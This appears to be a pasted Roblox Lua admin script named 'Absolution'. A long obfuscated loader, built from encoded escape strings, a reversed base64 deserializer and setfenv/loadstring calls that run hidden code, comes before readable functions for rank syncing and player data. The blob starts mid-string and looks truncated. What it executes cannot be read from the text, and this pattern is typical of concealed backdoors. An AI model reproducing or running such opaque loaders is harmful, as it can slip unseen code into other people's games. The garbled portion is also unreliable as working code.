DgwMVw3OVwyMDFcMjNcMTZcMjNcMTAxXDAwMVw1MDFcODAxXDgwMVwxMTFcNzZcMDExXDc5XDc2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwyM1wwMDFcMTAxXDQxMVwxMTFcNDAxXDk5XDAxMVw1Nlw2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVw5NFw2NFwyM1wxNlwyM1wxMjFcOTlcMDExXDEwMVw0MTFcNzlcMjExXDUxMVwwMTFcNzlcNDExXDQ4XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDQxMVwxMTFcODAxXDExMVw3Nlw4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMTZcMjNcNDExXDExMVw4MDFcMTExXDc2XDcwMVw5OVw1MDFcNDExXDY2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDE0XDg5XDQxMVw5N1wyM1w0NFw5M1w2MTFcNDExXDc5XDA4XDkzXDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5OVwwMTFcNzlcNjExXDUxMVwwMTFcMzdcMjNcMTZcMjNcODAxXDUwMVw3OVw0OFwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwxNlwyM1w4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMDAxXDAxMVw3OVwyM1w4MDFcNTAxXDAxMVwyM1wxNlw2MjFcMjNcODlcNDExXDk3XDIzXDIwMVw1MDFcOVwwMVwzMVwxNFwwNFwwMTFcMTExXDUwMVw2MTFcOTlcMDExXDcxMVwyMDFcMjNcMTZcMjNcODAxXDUwMVw3OVw0MTFcNjExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDAxXDMxXDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDE2XDE2XDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDlcMDFcMzFcMTExXDAwMVwyM1wxNFw5NFwwNFw2MTFcNTAxXDc5XDkxMVwyM1wxMDFcODAxXDUwMVw0MDFcOTExXDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDAxMVw5MTFcNzlcMjExXDUxMVwwMVwzMVwwMVwzMVwxNFwwNFw4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDk1XDAwMVwwMTFcMTAxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDE0XDEwMVw5MDFcNzlcODdcNjRcODlcNDExXDk3XDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDYxMVwxMTFcMDExXDIzXDIwMVw1MDFcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw2MTFcOTlcMTAxXDAxMVwwMTFcMTExXDk5XDg1XDAwMVwxMDFcMzAxXDAxMVw3OVw0MDFcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcNDNcNjExXDQxMVw3OVwwOFw0M1wyM1wxNlwyM1wxMDFcOTAxXDc5XDg3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw2MTFcNTExXDc5XDgwMVwwOFw0M1wyM1wxNlwyM1w4MDFcNzlcNTAxXDQxMVwxMDFcNjExXDc5XDc3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFw5MDFcMTExXDYxMVw2MTFcMTExXDY2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFwyMTFcMTExXDQ4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE0XDk0XDQ0XDk0XDQ0XDk0XDA0XDkxMVwxMDFcMDExXDY0XDE1XDQxMVwxMTFcNjExXDk5XDEwMVw2OFwyM1wxNlwyM1wxMDFcMjIxXDUwMVwzOFw2NFw4OVw0MTFcOTdcOVwwMVwzMVw0M1w4MDFcODAxXDc5XDY2XDQzXDIzXDE2XDIzXDEwMVwyMTFcNzlcNDAxXDM4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw0MTFcNjExXDEwMVw5MDFcOTAxXDEyMVwzOFw0M1wyM1wxNlwyM1w0MTFcMTExXDYxMVw5OVw3OVwwN1w5MDFcNDExXDExMVwwN1w2NFw4OVw0MTFcOTdcNTRcNTRcOVwwMVwzMVwxMDFcNzExXDQxMVw2MTFcMjNcMTZcMjNcMDAxXDEwMVw3MDFcOTlcMTExXDY3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDEwMVw1MTFcODAxXDc5XDIwMVwyM1wxNlwyM1wxMDFcMDAxXDUwMVw4MDFcODAxXDExMVw3NlwwMTFcNzlcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDAwMVwxMDFcNDExXDExMVw0MDFcOTlcMDExXDU2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE1XDY0XDIzXDE2XDIzXDEyMVw5OVwwMTFcMTAxXDQxMVw3OVwyMTFcNTExXDAxMVw3OVw0MTFcNDhcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMDRcMTAxXDYxMVw1MDFcNDAxXDc4XDY0XDQxMVwxMTFcODAxXDExMVw3Nlw3MDFcOTlcNTAxXDQxMVw2NlwyM1wxNlwyM1w0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDQ0XDkzXDYxMVw0MTFcNzlcMDhcOTNcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1wyM1wxNlwyM1w4OVw0MTFcOTdcOVwwMVwzMVwwMDFcMDExXDEwMVw5XDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcOVwwMVwzMVwxNFwwNFwxMjFcMTExXDQxMVw2MTFcNTExXDEwMVw4Nlw4NVw4OVw0MTFcOTdcOVw5XDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDgwMVw4MDFcNzlcOTlcMjExXDlcOVwwMVwzMVwxNFwwMDFcMDExXDEwMVw5XDlcMDFcMzFcMTRcMDRcMDExXDEwMVw0MTFcMDAxXDgwMVw1MDFcNDAxXDc2XDgwMVw4MDFcNTZcNDExXDc5XDEwMVw4MDFcNzZcODVcODlcNDExXDk3XDlcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw4MDFcODAxXDc5XDk5XDIxMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDIzXDE2XDYyMVwyM1w4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwyM1wxNlwyM1w4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDgwMVw1MDFcMDExXDIzXDE2XDIzXDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw2MTFcMjExXDUwMVw0MTFcOTlcNTExXDAxXDMxXDUyMVwzMjFcMjNcMTZcMjNcNTExXDYxMVw0MTFcNzlcMDhcODAxXDUwMVw3OVw0MTFcNDhcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcMDFcMzFcMjNcNTIxXDAxXDMxXDA1XDg0XDY0XDIzXDE2XDIzXDM5XDQzXDAwMVwxMDFcMTAxXDIxMVwzOFw0M1wxOVw5XDAxXDMxXDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDg5XDQxMVw5N1wwMTFcNTAxXDk2XDQzXDE5XDlcMDFcMzFcOVwwMVwzMVw0NFw3NVwyM1wxNlwyM1wzOVw0M1w4NlwzN1wxMTFcNTAxXDAwMVw3MTFcNTZcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDM1XDY0XDIzXDE2XDIzXDM5XDQzXDEwMVw5OVwwMTFcNzExXDExMVw2Nlw0M1wxOVw5XDAxXDMxXDQ0XDY1XDIzXDE2XDIzXDM5XDQzXDYxMVw0MDFcMzAxXDUwMVwxMDFcMjdcNDNcMTlcOVwwMVwzMVw0NFw4NFw5NFwyM1wxNlwyM1wzOVw0M1w1MTFcNzExXDUwMVwwMDFcNzlcMjhcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDE0XDA0XDEwMVw2MTFcNTAxXDQwMVw3OFw2NFw0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcMjNcMTZcMjNcMzlcNDNcNDExXDExMVw4MDFcMTExXDc2XDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcMzIxXDIzXDE2XDIzXDUxMVwzMDFcMDExXDUwMVw2MTFcNjExXDEwMVwzOFwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwwMVwzMVw4MDFcNTAxXDAxMVwyM1wxNlwyM1w4OVw0MTFcOTdcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcODAxXDUwMVwwMTFcMjNcMTZcMjNcNDExXDEwMVw2MTFcOTlcNzlcNDExXDc5XDQwMVw3NlwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwzOVw5M1wwXDBcMzFcMzAyXDdcOTNcMTlcMTRcNDNcNTExXDQxMVwxMDFcMTIxXDc5XDgwMVwwOFw0M1wwNFwxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDYxMVwxMDFcMTdcODVcMTAxXDkwMVw3OVwzMDFcMjNcMTZcMjNcNDExXDEwMVwwMTFcOTExXDk3XDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDE0XDA0XDYxMVw1MDFcNzlcOTExXDBcMFwwXDA1XDdcOFw4MVwzM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVw1MTFcMTAxXDk5XDk5XDcxMVw1MTFcMjNcMDExXDc5XDI4XDBcMFwwXDcxXDdcMjhcOTZcNjhcMjhcOTZcMzhcMFwwXDBcNlw3XDI4XDk3XDI4XDI4XDk2XDBcMFwwXDVcN1w2NFw2NFw2NFwwMDFcMDExXDc5XDkwMVw5MDFcMTExXDk5XDIzXDEwMVw4MDFcMTExXDUxMVwwMTFcMTExXDk5XDIzXDMwMVwwMTFcNTAxXDUxMVw0MTFcNzlcMDhcMFwwXDBcNjJcN1wxNlwwMDFcNTAxXDM2XDEyMVw0MTFcMTExXDYxMVwwMTFcMTAxXDgxMVwwMTFcNTAxXDc0XDA1XDM1XDg0XDA1XDg1XDUxMVw3MTFcODAxXDIxMVw2NFwwMjFcMTExXDgwMVw4OVwxMTFcNDExXDc0XDc0XDg1XDIxMVw2MTFcNjExXDQwMVwwXDBcMFw3M1w3XDAwMVwxMDFcMDAxXDc5XDExMVw2N1wyM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVwxMDFcOTlcOTlcNzExXDM4XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFw2M1w3XDAwMVwxMDFcNDExXDc5XDEwMVw4MDFcNzZcMjNcNjExXDcxMVwyMTFcNjExXDcxMVw5N1wyM1wwMTFcMTExXDUwMVw2MTFcNzExXDgwMVwxMTFcNTExXDg5XDU2XDBcMFwwXDUyXDdcNzZcOVwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDAxMVwxMTFcNTAxXDYxMVw3OVw5MDFcNTAxXDAxMVw3OVwwXDBcMFw5XDdcNDExXDExMVw2MTFcOTlcNzlcMjAxXDkwMVw0MTFcMTExXDIwMVwwXDBcMFwwMVw3XDAwMVwxMDFcNjExXDc5XDk5XDEwMVw0MTFcMjExXDEwMVwwMDFcMFwwXDBcMDFcN1wxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDMwMVwxMTFcNjdcMFwwXDBcMDFcN1w3Nlw4Mlw0MDJcNDAyXDQwMlw0MDJcNDAyXDUwMlw2XDUxMVw3M1wyM1wwXDBcMFwzXDdcMlw4MVw4MDFcMTAxXDg5XDc5XDY3XDYxMVwwMjFcMTAxXDQ4XDBcMFwwXDlcN1w3Nlw2MVwwXDBcMFwwXDBcMFw2XDM0XDBcMFwwXDFcN1w3NlwwNFwwXDBcMFwwXDBcMFw2XDAwMVw3OVw3MTFcMThcMFwwXDBcNFw3XDYxMVw3MTFcOTdcMFwwXDBcM1w3XDFcNDRcM1w1XDgxXDk0XDA1XDA1XDA1XDQ1XDE1XDY1XDM1XDk0XDc0XDc0XDg1XDAwMVw1MDFcNjExXDEwMVw1MTFcNTExXDc5XDAyMVw4OVw0MTFcMFwwXDBcMjJcN1w1NVw4NFwxNVwwNVw0NVwxNVw2NVwzNVw5NFw3NFw3NFw4NVwwMDFcNTAxXDYxMVwxMDFcNTExXDUxMVw3OVwwMjFcODlcNDExXDBcMFwwXDIyXDdcMjVcNDVcMDVcMDVcNDVcMTVcNjVcMzVcOTRcNzRcNzRcODVcMDAxXDUwMVw2MTFcMTAxXDUxMVw1MTFcNzlcMDIxXDg5XDQxMVwwXDBcMFwyMlw3XDNcODFcMTAxXDkwMVw3OVw0MTFcMDdcMzAxXDAxMVw1MDFcODAxXDgwMVwxMTFcNDExXDk5XDM4XDBcMFwwXDQxXDdcMlw4OFwzXDY2XDk0MlwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDEwMVw5MDFcNzlcNDExXDA3XDBcMFwwXDVcN1w1NFwwXDBcMFwxXDdcMTAxXDUxMVwxMTFcODAxXDc2XDAxMVwxMDFcMjExXDk3XDBcMFwwXDlcN1w2MTFcNDAxXDMwMVw1MDFcMjhcMFwwXDBcNVw3XDUyXDgxXDQxMVw3OVwxMDFcODAxXDc2XDBcMFwwXDVcN1w3Nlw5MVwxNVwxNVwxNVwxNVwxNVwxNVw2XDc2XDkxXDUxMlwwMVwxNlwyMTFcMzYxXDUxMlw2XDYxMVwyMDFcMTAxXDY3XDBcMFwwXDRcN1w2MTFcNzExXDIxMVw2MTFcNzExXDk3XDIzXDAxMVwxMTFcNTAxXDYxMVw3MTFcODAxXDExMVw1MTFcODlcNTZcMFwwXDBcNzFcN1wxXDgxXDIxMVwxMTFcNDhcMFwwXDBcM1w3XDI1XDk0XDEwMVwyMjFcNTAxXDM4XDBcMFwwXDZcN1wwMDFcODAxXDExMVw2Nlw1MTFcMDExXDc5XDM4XDEwMVw5OVw0MTFcNzExXDExMVwzOFwwXDBcMFw0MVw3XDkyMVwzMDFcMjUyXDIyMlwyXDUxXDgxXDJcODRcM1w4MjFcNzFcNjExXDAyMVwxMDFcNDhcMDExXDUwMVw3OVw3N1wwXDBcMFw4XDdcMDExXDExMVw2MTFcNjExXDcxMVw2Nlw2MTFcMDIxXDEwMVw0OFwwXDBcMFwwMVw3XDM3XDU4XDE3XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFwxMlw3XDUwMVw3MTFcMTdcMDExXDEwMVwxMDFcNDExXDk5XDM4XDBcMFwwXDlcN1w2NDFcMDYxXDM0MVw2OVwyXDUwMVw3MTFcMTdcNDExXDEwMVwxMjFcNzlcODAxXDA4XDBcMFwwXDlcN1w1OVw0MTFcMTAxXDUxMVw3MTFcMFwwXDBcNVw3XDIyMVwxMDFcOTAxXDc5XDg3XDcwMVw5OVw1MDFcODdcMFwwXDBcOVw3XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcMTAxXDQxMVwxMTFcNjExXDM4XDc5XDYxMVw3OVw4NlwwXDBcMFw2MVw3XCJkPWEgbGFjb2w7ZG5lIGxhIG5ydXRlcjtkbmUgMSt6YT16YTt5eT1demFbbGE7dm4rdmU9dmU7ZG5lKSkxLXZuK3ZlLHZlLGNkKHB5KHFtPXl5IGVzbGUpdmUsY2QocW09dm4seXkgbmVodCAwPHZuIGZpXWVkW2p5PXFtIGxhY29sO2RuZSBrYWVyYikidGFtcm9mIGRhYiIodG5pcnAgbmVodCB2biB0b24gZmldZWRbZGU9dm4gbGFjb2w7eXkgbGFjb2w7ZG5lIDErdmU9dmUpdmUsY2QocHk9ZWQgZXNsZV16YVtkYT1lZCBuZWh0IGRhIGZpO2VkIGxhY29sIG9kIGNuPHZlIGVsaWh3OzE9emEgbGFjb2w7Y2QjPWNuIGxhY29sOzE9dmUgbGFjb2x9ez1sYSBsYWNvbC4uLj1kYSxjZCBsYWNvbH0wLDQyLDEsMSwxLDIxLDYsNDIsOCwxLSwyLDEtLDIxLDEtLDgsNCw0LDIsNCwyez1kZSBsYWNvbH16eSxxZCxlcSxwZCxsaix5dix2YSx2eixqZCxjdixxbCxhZSx6bSxkcSxjcCxtZCxkdix6aixheSxseXs9ankgbGFjb2w7ZG5lIGxpbiBucnV0ZXIpKHp5IG5vaXRjbnVmIGxhY29sO2RuZSkpbHosemwsdnAsZG4sZGwseWQsdHosbmosbXYsenosY3kseWooem0sKXZuLGF0LGxkLG55LG1wLHBlLG15LHltLG1sLG52LHR5LHZ5KHptKGFxIG5ydXRlcilseix6bCx2cCxkbixkbCx5ZCx0eixuaixtdix6eixjeSx5aix2bixhdCxsZCxueSxtcCxwZSxteSx5bSxtbCxudix0eSx2eShxZCBub2l0Y251ZiBsYWNvbDtkbmUgeWogbnJ1dGVyKXlqKGVxIG5vaXRjbnVmIGxhY29sO2RuZSA4MjEtbmQgbnJ1dGVyKW5kKHBkIG5vaXRjbnVmIGxhY29sO2RuZSkpeW0oZSh0bSBucnV0ZXI7ZG5lKXBvVC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDE9PmxkIGZpO2RuZSAyLWxkPWxkKW1vdHRvQi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDI9PmxkIGZpO2RuZSA0LWxkPWxkKWtjYUIuZElsYW1yb04ucHAseW0oZWMgbmVodCA0PT5sZCBmaTtkbmUgOC1sZD1sZCl0bm9yRi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDg9PmxkIGZpO2RuZSA2MS1sZD1sZCl0aGdpUi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDYxPT5sZCBmaTtkbmUgMjMtbGQ9bGQpdGZlTC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDIzPT5sZCBmaX17PXltIGxhY29sKWxkKGxqIG5vaXRjbnVmIGxhY29sO2RuZSkpanYsZG4obHksKXRhLHZwLHpxLHF2KG1kLCludixjZShseSwpZWUscGwscWEsZW0obWQocXogbnJ1dGVyKWp2LGRuLHRhLHZwLHpxLHF2LG52LGNlLGVlLHBsLHFhLGVtKHl2IG5vaXRjbnVmIGxhY29sO2RuZSkpYWQseWwobHksKXFtLHlkLG50LHRlKG1kKGx2IG5ydXRlcilhZCx5bCxxbSx5ZCxudCx0ZSh2YSBub2l0Y251ZiBsYWNvbDtkbmUpKWRjLHZ5LGxkLGF2LGFhLHpuLHFlLGx0LHB0LHlxLGVtLHFqKHptLCltbixxdCx5eixxcCxwbCxheixqdix5bCx5bSxwZSxuYSxsbih6bSh5YyBucnV0ZXIpZGMsdnksbGQsYXYsYWEsem4scWUsbHQscHQseXEsZW0scWosbW4scXQseXoscXAscGwsYXosanYseWwseW0scGUsbmEsbG4odnogbm9pdGNudWYgbGFjb2w7ZG5lKSlqbCxkYyxudCx5ZChtZCwpZXkscHosbWMsY3kobWQocGMgbnJ1dGVyKWpsLGRjLG50LHlkLGV5LHB6LG1jLGN5KGpkIG5vaXRjbnVmIGxhY29sO2RuZSBudiwpKWVtKGUocXEgbnJ1dGVyKW5lLHZ5LH0xLDUuMCwweywzKHluPW52LGVtIGxhY29sKW5lLHZ5KGN2IG5vaXRjbnVmIGxhY29sO2RuZSkpdHEsbXYoemoodmogbnJ1dGVyKXRxLG12KHFsIG5vaXRjbnVmIGxhY29sO2RuZSB5eSwpKW5sKGUodmwgbnJ1dGVyKWFtLGxkLH0xLSwxLDB7LDIxKHluPXl5LG5sIGxhY29sKWFtLGxkKGFlIG5vaXRjbnVmIGxhY29sO2RuZSBudi16cSxleSBucnV0ZXI7ZG5lIGRuZSBkbmUpXWpuW2V0LGV5KGVjIGVzbGUgNCt6cT16cSkpKTMrenEsenEsZGwocHkobWQsZXkoZWMgbmVodCAwPT1qbiBmaTsxJWpuLWpuPWpuOzQlbHpeIDUyLjAqbG49am4gbGFjb2wgb2QgamwsMD1seiByb2Y7ZG5lIDQlKTEtcWEoPWpsIG5laHQgeWQ9PXl6IGZpOzM9amwgbGFjb2wgb2QpbmwobiBuaSBsbix5eiByb2Y7eWQrenE9enE7enE9bnYgbGFjb2x9ez1leSBsYWNvbH0pMS15ZCt6cSx6cSxkbChweXs9bmwgbGFjb2wpNTIuMCpxYSh2dj15ZCBsYWNvbCl6cSxkbCxldCxxYSh5biBub2l0Y251ZiBsYWNvbDtkbmUpKXp2LHpuLGFkLGV5KG1kLClkYyxlZCxkeSxhdihtZCwpemwsbHAsYWoseWwobWQoZXYgbnJ1dGVyKXp2LHpuLGFkLGV5LGRjLGVkLGR5LGF2LHpsLGxwLGFqLHlsKHptIG5vaXRjbnVmIGxhY29sO2RuZSA0K3lsLCkzK3lsK21sLDQrbWwsbm0obmMgbnJ1dGVyKSkzK21sLG1sLG5tKHB5KGR2PXlsIGxhY29sKW1sLG5tKGRxIG5vaXRjbnVmIGxhY29sO2RuZSBkbmUgdHEgbnJ1dGVyIGVzbGUgdHEtbnJ1dGVyIG5laHQgODIxPT55ZSBmaTtkbmUpNDcwMS12biggXiAyKik2OTQwNzM3MjY5OTUzMDU0L2F2KyAxKD10cSBlc2xlIGRkPXRxIG5laHQgRkY3eDA9PXZuIGZpZXNsZSBkbmUpNDcwMS12biggXiAyPXRxIGVzbGUgdGQ9dHEgbmVodCBGRjd4MD09dm4gZmllc2xlIDA9dHEgbmVodCAwPT12biBmaSBuZWh0IDA9PWF2IGZpO3RxIGxhY29sOzYxKiA4MjEleWUrIDYxLyl5ai1keSg9dm4gbGFjb2w7NjUyKik2NTIqKTY1MiopNjUyKik2NTIqKTY1Mip5ait5ZCggK2xtKCArYWQoICt6eiggK3Z5KCAreXE9YXYgbGFjb2w7MDF4MCVkeT15aiBsYWNvbCl5ZSxkeSx5ZCxsbSxhZCx6eix2eSx5cShjcCBub2l0Y251ZiBsYWNvbDtkbmUgZG5lIHpwIG5ydXRlciBlc2xlIHpwLW5ydXRlciBuZWh0IDgyMT0+ZXkgZmk7ZG5lKTcyMS1tZSggXiAyKik4MDY4ODM4L3Z5KyAxKD16cCBlc2xlIGRkPXpwIG5laHQgNTUyPT1tZSBmaWVzbGUgZG5lKTcyMS1tZSggXiAyPXpwIGVzbGUgdGQ9enAgbmVodCBGRngwPT1tZSBmaWVzbGUgMD16cCBuZWh0IDA9PW1lIGZpIG5laHQgMD09dnkgZmk7enAgbGFjb2w7MiogODIxJWV5KyA4MjEvKW5hLXlsKD1tZSBsYWNvbDs2NTIqKTY1MipuYStscCggK3l0PXZ5IGxhY29sOzgyMSV5bD1uYSBsYWNvbClleSx5bCxscCx5dChtZCBub2l0Y251ZiBsYWNvbDtkbmUgNjUyKik2NTIqKTY1Mip0dithcCggK3RlKCArcHogbnJ1dGVyKXR2LGFwLHRlLHB6KGR2IG5vaXRjbnVmIGxhY29sO2RuZSA2NTIqYWwrdHYgbnJ1dGVyKWFsLHR2KHpqIG5vaXRjbnVmIGxhY29sO2RuZSB0diBucnV0ZXI7ZG5lIGVzbGFmIG5ydXRlciBuZWh0IDI1MzIxNTIxMz09dHYgZmllc2xlIGV1cnQgbnJ1dGVyIG5laHQgODUxMjk1MzI9PXR2IGZpOzg0NjM4NDc0MTItIDY1MiopNjUyKik2NTIqeXkreWooICtkaiggK2xwPXR2IGxhY29sKXl5LHlqLGRqLGxwKGF5IG5vaXRjbnVmIGxhY29sO2RuZSA4NjcyMy0gNjUyKm5hK3llIG5ydXRlciluYSx5ZShseSBub2l0Y251ZiBsYWNvbCkwLyAwKHZkPWRkIGxhY29sO3dlbi55YVIueT15YyBsYWNvbDt3ZW4uMnJvdGNlVi55PXBjIGxhY29sO3dlbi4zcm9sb0MueT1xcSBsYWNvbDt3ZW4ucm9sb0NrY2lyQi55PXZqIGxhY29sO2xpZWMuemQ9dnYgbGFjb2w7d2VuLmVtYXJGQy55PXZsIGxhY29sO3dlbi4zcm90Y2VWLnk9ZXYgbGFjb2w7d2VuLm1pRFUueT1sdiBsYWNvbDt0cmVzbmkucXk9ZWMgbGFjb2w7YnVzLnp0PW5jIGxhY29sO211bkUuenQ9cHAgbGFjb2w7ZXR5Yi56dD1weSBsYWNvbDt3ZW4uMm1pRFUueT1xeiBsYWNvbDtlZ3VoLnpkPXRkIGxhY29sO3dlbi4zbm9pZ2VSLnk9YXEgbGFjb2w7c2JhLnpkPXZkIGxhY29sO3dlbi5zZWNhRi55PXRtIGxhY29sO2VsYmF0Lnk9cXkgbGFjb2w7Z25pcnRzLnk9enQgbGFjb2w7aHRhbS55PXpkIGxhY29sO3NyaWFwaS55PW4gbGFjb2w7a2NhcG51Lnk9ZSBsYWNvbCkodm5lZnRlZz15IGxhY29sKS4uLihkIG5vaXRjbnVmIGxhY29s"))''local function ui(n)return y[n+765636%#y] end;local nm,p0=ui(47),ui(24)local c0={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}local function i0(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local k0,n0,d0,z0,f0=i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local gw={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}
- -- Auto Update --
- Absolution.Functions.AutoUpdate = function()
- coroutine.wrap(function()
- while true do
- ypcall(function()
- Absolution.Functions.syncRanksIn()
- Absolution.Functions.syncRanksOut()
- end)
- wait(90)
- end
- end)()
- end
- -- Ranking --
- Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance)
- Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
- return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
- end
- Absolution.Functions.delData = function(self, Player)
- Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil
- return true
- end
- Absolution.Functions.modData = function(self, Player, dataName, dataValue)
- if Absolution.Ranked[Player] then
- Absolution.Ranked[Player][dataName] = dataValue
- end
- return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
- end
